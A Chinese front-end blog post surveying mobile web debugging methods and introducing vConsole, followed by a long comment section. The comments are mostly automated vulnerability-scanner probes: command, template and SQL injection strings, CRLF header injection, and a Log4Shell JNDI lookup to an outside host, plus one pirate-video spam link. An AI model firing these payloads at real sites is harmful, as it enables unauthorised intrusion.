做有态度的前端团队

网易FEG前端团队

移动端的Developer Tools

作者: 军日期: 2017-05-23

319665

20171013更新

vConsole官方更新到了v3.0.0。需要手动初始化才能启动（之前是直接引入vconsole的js就会自动初始化）。

// 初始化vConsole
window.vConsole = new window.VConsole();

（以下是正文。。。）

移动端的调试一直很头疼，目前的一些主要调试手段有如下：

1、直接更新到测试地址

这种算不上什么调试手段，只是最原始的方式，每次修改都要更新到测试地址，然后手机访问测试地址看效果。因为手机没有像chrome那样的控制台，所以js调试基本都是通过alert打断点。

优点： 对手机连接网络没限制，随便一台真机都可以轻松访问。

缺点： 频繁更新到测试地址工作量，速度慢；alert断点方式很头疼。

这种方式调试门槛是最低的，所以现实中还是有很多情况、很多人是愿意用体力来替代其它方案。

2、通过内网连接+本地IP访问

通过这种方式，可以直接在手机访问pc本地编译后的页面ip地址，然后在手机上刷新就能马上看到效果。但js调试同样是需要借助alert打断点调试。

优点： 不需要频繁更新到测试地址，有类似PC本地调试的体验。

缺点： 对手机连接网络有要求，需要访问内网。这种网络情况可以用一些类似百度wifi、360wifi这种小工具通过把pc的wifi分享到手机，可以快速满足要求（前提是你的公司允许私自搭建wifi）。

3、内网穿透 ngrok 工具

ngrok 是一个内网穿透隧道程序。典型的使用场景，就是在移动开发中，把公司无线网络（NetEase）和有线网络打通。在 PC 本地有线网络机器上运行 ngrok，就能把本地的测试服务器（例如 FIS 的本地测试服务器）映射到外网可以访问的地址。
这种方式是从解决第二点提到的内外网络问题，不需要私自搭建wifi。
我们小组也有玩，详细使用教程——内网穿透ngrok工具

优点： 相比第种方案，不需要申请内网权限或者不需要私自搭建wifi

缺点： 门槛比较高，需要服务器部署工具，还需要有个域名。

从实际使用过程发现，这个工具还是不错，但是有个很严重的问题是，工具很容易挂，工具启动后，手机一访问就会挂，基本是无法使用。所以这个问题要解决后才能愉快的使用

4、使用远程调试工具

移动端调试这种是业界都需要面对的问题，自然就有不少解决这种问题的工具了，比如Vorlon。
以Vorlon工具为例，它的工作原理是把工具部署到一台服务器，然后在需要调试的页面埋下一段代码，最后在PC打开工具部署到服务器后的地址就能看到调试页面的节点、样式等信息。通过这种工具，在上面修改页面节点、样式、以及打Log出来等等操作都能及时展示在手机中的网页出来。其实就是类似chrome的开发者工具，可以在里面调整页面的东西。
我们小组之前有玩过，但貌似实际中使用的人比较少，现在工具部署后的地址还挂了。详细使用教程——移动端调试使用说明

优点： 有类似chrome的Developer Tools即视效果。

缺点： 门槛比较高，需要服务器部署工具。

上面说了几种都是我们目前使用或者使用过的一些关于移动端调试的手段，从上面简单分析来看，解决方案主要是从两个方面入手：从网络方面解决本地调试的问题（比如第二和第三种）；从页面debug的方面，向类似chrome的开发者工具调试效果来尝试（比如第四种）。各种解决方案都有各自的优缺点，但是往往缺点会优先决定是否要去使用这种方式。比如上面的第三、第四种方案，需要借助服务器的搭建导致使用门槛过高，不适合个人或者突发情况下使用，也可以理解为不能拿来就用，可能更适合团队搭建和维护下使用。

说了这么多，还没到本文的重点。本文的重点是介绍一种拿来即用，有几分类似chrome的Developer Tools的debug效果的调试解决方案：

5、vConsole

vConsole是有微信团队开源的，一个轻量、可拓展、针对手机网页的前端开发者调试面板。具有以下特性：

查看 console 日志
查看网络请求
手动执行 JS 命令行
自定义插件

官方体验Demo: http://wechatfe.github.io/vconsole/demo.html

官方github：https://github.com/WechatFE/vConsole

Demo

使用方式：

在页面头部引入vconsole.min.js

为了页面一打开能扑捉到的所有js的debug，需要把vconsole.min.js放在最前面载入。

<script src="https://wechatfe.github.io/vconsole/lib/vconsole.min.js?v=2.5.2"></script>

载入成功后，页面的右下角会出现一个绿底白字的vconsole按钮。

效果截图：

体验总结：

1、的确很方便，可以在手机上直接做一些简单的debug，界面也ok

2、输入命令聚焦后，键盘拉起，输入框有被遮挡的问题，而且调试面板经常出现无法滚动的问题（在ios微信里），如下图：

3、输入命令点击ok执行，键盘收起会出现，输入的命令显示丢失的问题，如下图：

4、里面的Network功能无法捕获到页面一加载时是的网络请求的，显示是空的，如下图：

从体验来看，这个工具还有不少问题存在，但不失为一种新的解决思路，简单的引入方式，有些少许类似chrome开发者工具功能的调试面板，最起码能在js调试上带来一定的方便。

举个简单的栗子，页面的某一行js在手机上报错，导致某些功能失效了，而之前为了定位到这一行有报错的js，可能需要通过猜测，然后用alert打断点调试来不断缩小错误范围，从而最终定位到具体的代码。

而有了vConsole，你就可以像chrome那样直接打开调试面板就能看到错误信息，就冲这点，已经能解决我们日常的某些调试场景了。

本文啰嗦了很多，前面顺便借此机会来总结了一些目前移动调试的一些解决方案。

手机阅读请扫描下方二维码：

调试 vconsole

上一篇：CSS3的content属性1 下一篇：ECMAScript 2016 Language Specification (5)

已有 244 条评论

有bug你就吱一声

2017-05-25 14:49:44

666

回复
1. 0KeeTeam
  
  2020-04-14 16:19:35
  
  0KeeTeam
  
  回复
  1. 1
    
    2023-03-21 04:15:48
    
    555
    
    回复
    
    1
    
    2023-10-05 08:32:10
    
    1
    
    回复
  2. 1
    
    2023-03-24 14:33:44
    
    555
    
    回复
  3. 1
    
    2023-09-14 22:37:32
    
    555
    
    回复
  4. 1
    
    2024-03-13 10:31:20
    
    1
    
    回复
  5. 1
    
    2024-07-02 17:16:45
    
    1
    
    回复
  6. 1
    
    2024-07-15 20:23:29
    
    1
    
    回复
2. 0KeeTeam
  
  2020-04-14 16:24:16
  
  0KeeTeam
  
  回复
  1. admin
    
    2020-10-23 09:51:58
    
    12345678
    
    回复
  2. admin%0d%0aCRLF-Header:CRLF-Value
    
    2020-10-23 09:56:40
    
    12345678
    
    回复
  3. admin
    
    2020-10-23 09:56:40
    
    12345678
    
    回复
  4. admin|expr 833820401 + 895126137
    
    2020-10-23 09:56:40
    
    12345678
    
    回复
  5. admin
    
    2020-10-23 09:56:40
    
    gxvaelvnbyaqrvjzlzoc
    
    回复
  6. admin&set /A 813903623+978593923
    
    2020-10-23 09:56:40
    
    12345678
    
    回复
  7. admin
    
    2020-10-23 09:56:40
    
    12345678
    
    回复
  8. gxvaelvnbyaqrvjzlzoc
    
    2020-10-23 09:56:40
    
    12345678
    
    回复
  9. /*1*/{{896586157+940922741}}
    
    2020-10-23 09:56:40
    
    12345678
    
    回复
  10. admin
    
    2020-10-23 09:57:40
    
    12345678
    
    回复
  11. admin
    
    2020-10-23 09:57:40
    
    12345678
    
    回复
  12. admin
    
    2020-10-23 09:57:40
    
    12345678
    
    回复
  13. admin
    
    2020-10-23 09:57:40
    
    12345678
    
    回复
  14. admin
    
    2020-10-23 09:57:40
    
    12345678
    
    回复
  15. admin
    
    2020-10-23 09:57:40
    
    12345678
    
    回复
  16. admin
    
    2020-10-23 09:57:40
    
    12345678
    
    回复
  17. admin
    
    2020-10-23 09:57:40
    
    12345678
    
    回复
  18. admin
    
    2020-10-23 09:57:40
    
    12345678
    
    回复
  19. admin
    
    2020-10-23 09:57:40
    
    12345678
    
    回复
  20. admin
    
    2020-10-23 10:41:41
    
    12345678
    
    回复
  21. admin
    
    2020-10-23 10:43:16
    
    12345678
    
    回复
  22. admin
    
    2020-10-23 10:44:56
    
    12345678
    
    回复
  23. admin
    
    2020-10-23 10:46:24
    
    12345678
    
    回复
  24. admin
    
    2020-10-23 10:51:14
    
    12345678
    
    回复
  25. admin
    
    2020-10-23 10:51:14
    
    12345678
    
    回复
  26. admin
    
    2020-10-23 10:51:14
    
    12345678
    
    回复
  27. admin
    
    2020-10-23 10:51:14
    
    12345678
    
    回复
  28. admin
    
    2020-10-23 10:51:14
    
    12345678
    
    回复
  29. admin
    
    2020-10-23 10:51:14
    
    12345678
    
    回复
  30. admin
    
    2020-10-23 10:51:14
    
    12345678 'and/**/extractvalue(1,concat(char(126),md5(1125569706)))and'
    
    回复
  31. admin
    
    2020-10-23 10:55:14
    
    12345678
    
    回复
  32. admin
    
    2020-10-23 10:55:14
    
    12345678
    
    回复
  33. admin
    
    2020-10-23 10:55:14
    
    12345678
    
    回复
  34. admin
    
    2020-10-23 10:55:14
    
    12345678
    
    回复
  35. admin
    
    2020-10-23 10:55:14
    
    12345678
    
    回复
  36. admin
    
    2020-10-23 10:55:14
    
    12345678
    
    回复
  37. admin
    
    2020-10-23 10:55:14
    
    12345678
    
    回复
  38. admin
    
    2020-10-23 10:55:14
    
    12345678
    
    回复
  39. admin
    
    2020-10-23 10:55:14
    
    12345678
    
    回复
  40. admin
    
    2020-10-23 10:55:14
    
    12345678
    
    回复
3. 0KeeTeam
  
  2020-04-14 16:29:03
  
  0KeeTeam
  
  回复
4. 0KeeTeam
  
  2020-05-23 16:56:53
  
  0KeeTeam
  
  回复
5. 0KeeTeam
  
  2020-05-23 16:58:30
  
  0KeeTeam
  
  回复
6. 0KeeTeam
  
  2020-05-23 17:00:55
  
  0KeeTeam
  
  回复
7. 0KeeTeam
  
  2020-05-23 17:12:49
  
  urvtgzbysvywofrrjdzc
  
  回复
8. 0KeeTeam
  
  2020-05-23 17:12:49
  
  0KeeTeam
  expr 932895422 + 803849539
  
  回复
9. admin
  
  2020-10-23 10:51:14
  
  12345678
  
  回复
10. admin
  
  2020-10-23 10:51:14
  
  12345678
  
  回复
11. admin
  
  2020-10-23 10:51:14
  
  12345678
  
  回复
12. admin
  
  2020-10-23 10:51:14
  
  12345678
  
  回复
13. admin
  
  2020-10-23 10:51:14
  
  12345678
  
  回复
14. admin
  
  2020-10-23 10:51:14
  
  12345678
  
  回复
15. test
  
  2022-05-19 02:59:09
  
  test
  
  回复
16. test
  
  2022-05-19 03:35:35
  
  test
  
  回复
17. test
  
  2022-05-19 03:36:36
  
  test
  
  回复
18. /*1*/{{946051538+986890378}}
  
  2022-05-19 03:36:36
  
  test
  
  回复
19. test
  
  2022-05-19 03:36:36
  
  test
  
  回复
20. ${979350421+853458524}
  
  2022-05-19 03:36:36
  
  test
  
  回复
21. test
  
  2022-06-20 09:57:58
  
  test
  
  回复
22. 1
  
  2023-09-11 18:42:00
  
  1
  
  回复
23. 1
  
  2023-09-14 20:57:08
  
  1
  
  回复
24. 1
  
  2023-09-15 19:56:30
  
  1
  
  回复
25. 1
  
  2023-09-23 03:43:34
  
  1
  
  回复
26. 1
  
  2023-10-05 08:30:15
  
  1
  
  回复
27. 1
  
  2024-03-13 10:29:58
  
  1
  
  回复
28. 1
  
  2024-07-02 17:15:34
  
  1
  
  回复
29. 1
  
  2024-07-15 20:22:09
  
  1
  
  回复
30. admin
  
  2024-11-16 03:58:08
  
  admin
  
  回复
0KeeTeam

2020-01-12 23:13:10

0KeeTeam

回复
0KeeTeam

2020-01-12 23:15:17

0KeeTeam

回复
0KeeTeam

2020-01-28 18:09:44

0KeeTeam

回复
0KeeTeam

2020-02-23 23:16:48

0KeeTeam

回复
0KeeTeam

2020-03-05 02:37:33

0KeeTeam

回复
0KeeTeam

2020-03-05 02:41:00

0KeeTeam

回复
0KeeTeam

2020-03-05 02:51:31

0KeeTeam

回复
0KeeTeam

2020-03-27 16:49:38

0KeeTeam

回复
0KeeTeam

2020-03-27 16:51:44

0KeeTeam

回复
0KeeTeam

2020-03-27 17:00:14

0KeeTeam

回复
yhiumqhrxquogbenxdgr

2020-03-27 17:36:18

0KeeTeam

回复
0KeeTeam|expr 864486742 + 928505896

2020-03-27 17:36:18

0KeeTeam

回复
ymjuxvcgtbgzpzyyrrda

2020-03-27 17:40:15

0KeeTeam

回复
0KeeTeam

2020-04-23 15:43:41

0KeeTeam

回复
0KeeTeam

2020-05-23 16:55:28

0KeeTeam

回复
0KeeTeam

2020-05-23 17:08:18

0KeeTeam
expr 932315731 + 943504616

回复
Crawlergo

2020-08-07 13:14:10

Crawlergo

回复
Crawlergo

2020-08-07 13:16:49

Crawlergo

回复
Crawlergo

2020-08-07 13:20:38

Crawlergo

回复
Crawlergo

2020-09-06 15:29:19

Crawlergo

回复
Crawlergo

2020-09-06 15:31:08

Crawlergo

回复
Crawlergo

2020-09-06 15:34:58

Crawlergo

回复
fhlyexgqkhmelpsweycz

2020-09-06 15:38:21

Crawlergo

回复
Crawlergo|expr 870406071 + 899403710

2020-09-06 15:38:21

Crawlergo

回复
admin

2020-10-23 09:56:40

12345678

回复
admin

2020-10-23 10:52:14

12345678

回复
admin

2020-10-23 10:52:14

12345678

回复
admin

2020-10-23 10:52:14

12345678

回复
admin

2020-10-23 10:52:14

12345678

回复
admin

2020-10-23 10:52:14

12345678

回复
admin

2020-10-23 10:52:14

12345678

回复
admin

2020-10-23 10:52:14

12345678

回复
admin

2020-10-23 10:52:14

12345678

回复
admin

2020-10-23 10:52:14

12345678

回复
admin

2020-10-23 10:52:14

12345678

回复
admin

2020-10-23 10:53:14

12345678

回复
admin

2020-10-23 10:53:14

12345678

回复
admin

2020-10-23 10:53:14

12345678

回复
admin

2020-10-23 10:53:14

12345678

回复
admin

2020-10-23 10:53:14

12345678

回复
admin

2020-10-23 10:53:14

12345678

回复
admin

2020-10-23 10:53:14

12345678

回复
admin

2020-10-23 10:53:14

12345678

回复
admin

2020-10-23 10:53:14

12345678

回复
admin

2020-10-23 10:53:14

12345678

回复
admin

2020-10-23 10:54:14

12345678

回复
admin

2020-10-23 10:54:14

12345678

回复
admin

2020-10-23 10:54:14

12345678

回复
admin

2020-10-23 10:54:14

12345678

回复
admin

2020-10-23 10:54:14

12345678

回复
admin

2020-10-23 10:54:14

12345678

回复
admin

2020-10-23 10:54:14

12345678

回复
admin

2020-10-23 10:54:14

12345678

回复
admin

2020-10-23 10:54:14

12345678

回复
admin

2020-10-23 10:54:14

12345678

回复
admin

2020-10-23 10:54:14

12345678

回复
admin

2020-10-23 10:54:14

12345678

回复
admin

2020-10-23 10:54:14

12345678

回复
admin

2020-10-23 10:54:14

12345678

回复
admin

2020-10-23 10:54:14

12345678

回复
admin

2020-10-23 10:54:14

12345678

回复
Crawlergo

2021-10-05 01:25:59

Crawlergo

回复
Crawlergo

2021-10-05 01:28:03

Crawlergo

回复
Crawlergo

2021-10-05 01:29:03

Crawlergo'//and//DBMS_PIPE.RECEIVE_MESSAGE('m',0)='m

回复
Crawlergo

2021-10-05 01:29:03

Crawlergo'//and//DBMS_PIPE.RECEIVE_MESSAGE('u',2)='u

回复
Crawlergo

2021-10-05 01:30:16

Crawlergo

回复
Crawlergo

2021-10-25 10:55:25

Crawlergo

回复
1. 1
  
  2021-11-01 02:41:55
  
  1
  
  回复
2. 1
  
  2021-11-01 03:13:22
  
  %{44637*41415}
  
  回复
3. %{40024*44393}
  
  2021-11-01 03:13:22
  
  1
  
  回复
4. 1
  
  2021-11-01 03:13:22
  
  1
  
  回复
5. 1
  
  2021-11-01 03:13:22
  
  '+(44692*43724)+'
  
  回复
6. 1
  
  2021-11-01 03:13:22
  
  1
  
  回复
7. 1
  
  2021-11-01 03:13:22
  
  1
  
  回复
8. 1
  
  2021-11-01 03:13:22
  
  1
  
  回复
9. 1
  
  2021-11-01 03:13:22
  
  1
  
  回复
10. 1
  
  2021-11-01 03:13:22
  
  1
  
  回复
11. 1
  
  2021-11-01 03:13:22
  
  1
  
  回复
12. 1
  
  2021-11-01 03:13:22
  
  1
  
  回复
13. 1
  
  2021-11-01 03:13:22
  
  1 'and/**/extractvalue(1,concat(char(126),md5(1941854897)))and'
  
  回复
14. 1
  
  2021-11-01 03:13:22
  
  1
  
  回复
1

2021-11-01 03:13:22

1

回复
1

2021-11-01 03:13:22

1

回复
Crawlergo

2022-01-31 01:50:42

Crawlergo

回复
Crawlergo

2022-02-11 14:43:06

Crawlergo

回复
1. 1
  
  2022-03-06 03:21:59
  
  1
  
  回复
2. 1
  
  2022-03-06 10:11:07
  
  1
  
  回复
3. 1
  
  2022-03-06 10:11:07
  
  1
  
  回复
4. 1
  
  2022-03-06 10:11:07
  
  1
  
  回复
5. 1
  
  2022-03-06 10:11:07
  
  1
  
  回复
6. 1
  
  2022-03-06 10:12:07
  
  1
  
  回复
7. 1
  
  2022-03-06 10:12:07
  
  1
  
  回复
8. 1
  
  2022-03-06 10:12:07
  
  1
  
  回复
Crawlergo

2022-03-11 18:42:01

Crawlergo

回复
Crawlergo

2022-04-02 16:46:31

Crawlergo

回复
Crawlergo

2022-04-02 16:50:38

Crawlergo

回复
Crawlergo|expr 932344573 + 958691332

2022-04-02 16:59:17

Crawlergo

回复
Crawlergo&set /A 998054697+864567357

2022-04-02 16:59:17

Crawlergo

回复
Crawlergo

2022-04-02 17:00:44

Crawlergo

回复
admin

2022-04-09 09:21:34

admin

回复
admin

2022-04-09 09:26:18

admin

回复
pbsgftkondjdpltiyfid

2022-04-09 09:28:05

admin

回复
${jndi:ldap://bflwtvjgrhnupskm.author.feg.netease.com.None.log.3l8.pw/a}

2022-04-09 11:26:28

admin

回复
admin

2022-04-13 12:04:44

admin

回复
admin

2022-04-13 12:09:01

admin

回复
test

2022-04-18 09:34:09

test

回复
test

2022-04-18 09:36:31

test

回复
test

2022-04-18 11:10:34

test

回复
test

2022-04-18 11:42:24

test

回复
test

2022-04-18 11:42:24

mqjbflflfnjrrljxgbqg

回复
test

2022-04-18 11:42:24

test
expr 906590668 + 872092147

回复
test

2022-04-18 11:42:24

test

回复
test

2022-04-18 11:42:24

%{44072*40688}

回复
s';waitfor/**/delay'0:0:0'/**/--/**/

2022-04-18 11:43:26

test

回复
test

2022-05-19 03:37:36

test

回复
test

2022-05-19 03:37:36

test

回复
test

2022-05-19 03:37:36

test

回复
1. 1
  
  2022-09-27 09:13:44
  
  1
  
  回复
1

2023-01-25 10:48:03

1

回复
1

2023-01-25 10:48:03

1

回复
1

2023-01-25 14:13:51

555

回复
1

2023-02-28 03:52:44

1

回复
1

2023-02-28 03:52:44

1

回复
1. 1
  
  2023-03-04 10:19:39
  
  1
  
  回复
1

2023-03-18 08:10:49

1

回复
1. 1
  
  2023-03-20 12:02:30
  
  1
  
  回复
2. 1
  
  2023-03-20 12:55:58
  
  1
  
  回复
3. 1
  
  2023-03-20 12:55:58
  
  1
  expr 970225736 + 939576319
  
  回复
4. 1
  
  2023-03-20 12:55:58
  
  1
  
  回复
5. 1
  
  2023-03-20 12:55:58
  
  iijpgwtqukfpbwguxnde
  
  回复
6. 1
  
  2023-03-20 12:56:58
  
  1
  
  回复
1

2023-03-21 00:12:57

1

回复
1

2023-03-21 03:08:27

555

回复
1

2023-03-24 13:39:22

1

回复
1

2023-03-24 14:27:10

555

回复
1

2023-03-26 12:47:20

1

回复
1

2023-04-01 02:23:00

1

回复
1

2023-04-03 09:24:30

1

回复
1

2023-04-04 21:30:01

1

回复
test

2023-04-13 17:57:44

test

回复
test

2023-04-15 19:52:53

test

回复
test

2023-04-15 19:57:35

test

回复
test

2023-06-01 01:14:41

test

回复
1

2023-09-11 17:40:41

1

回复
1

2023-09-12 00:39:21

1

回复
1

2023-09-14 19:38:46

1

回复
1

2023-09-14 20:21:48

555

回复
1

2023-09-15 18:29:43

1

回复
1

2023-09-23 02:19:00

1

回复
test

2023-09-25 01:24:58

test

回复
1

2023-10-05 05:57:57

1

回复
1

2024-03-13 08:43:38

1

回复
1

2024-03-13 18:19:52

1

回复
1

2024-07-02 15:26:41

1

回复
1

2024-07-02 15:26:41

1

回复
1

2024-07-15 18:47:06

1

回复
1

2024-07-15 18:48:09

1

回复
1

2024-07-15 18:49:42

1

回复
1

2024-07-16 04:27:12

1

回复
1. 1
  
  2024-08-09 07:00:54
  
  1
  
  回复
1

2024-08-28 05:28:29

1

回复
1

2024-08-28 05:29:34

1

回复
1

2024-08-28 05:30:34

1

回复
Tester

2024-09-18 02:47:42

Tester

回复
erejafepio

2024-11-13 03:57:41

《法医朝颜2》日本剧高清在线免费观看：https://www.jgz518.com/xingkong/16301.html

回复
admin

2024-11-16 03:56:45

admin

回复